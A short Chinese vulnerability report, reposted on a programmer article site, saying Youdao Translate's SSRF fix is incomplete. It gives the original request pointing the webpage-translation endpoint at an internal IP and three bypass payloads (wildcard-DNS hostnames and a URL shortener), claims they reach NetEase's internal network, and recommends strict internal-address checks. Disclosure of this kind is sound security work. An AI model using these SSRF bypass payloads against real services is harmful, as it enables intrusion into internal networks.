有道翻译SSRF修复不完整可绕过
程序员文章站
2022-06-23 09:44:53
可多种方法绕过
之前的可以看到修复了,厂商也回复漏洞已修复
http://fanyi.youdao.com/WebpageTranslate?keyfrom=webfanyi.top&am...
可多种方法绕过
之前的可以看到修复了,厂商也回复漏洞已修复
http://fanyi.youdao.com/WebpageTranslate?keyfrom=webfanyi.top&url=http%3A%2F%2F10.100.21.7&type=EN2ZH_CN
绕过的方法一般有以下几种
1.http://10.100.21.7.xip.io
2.http://www.10.100.21.7.xip.name
3.http://t.im/14tjq
试了一下三种方案都可绕过,再通网易内网
一
二
三
解决方案:
对ip地址进行严格判断是否为内网地址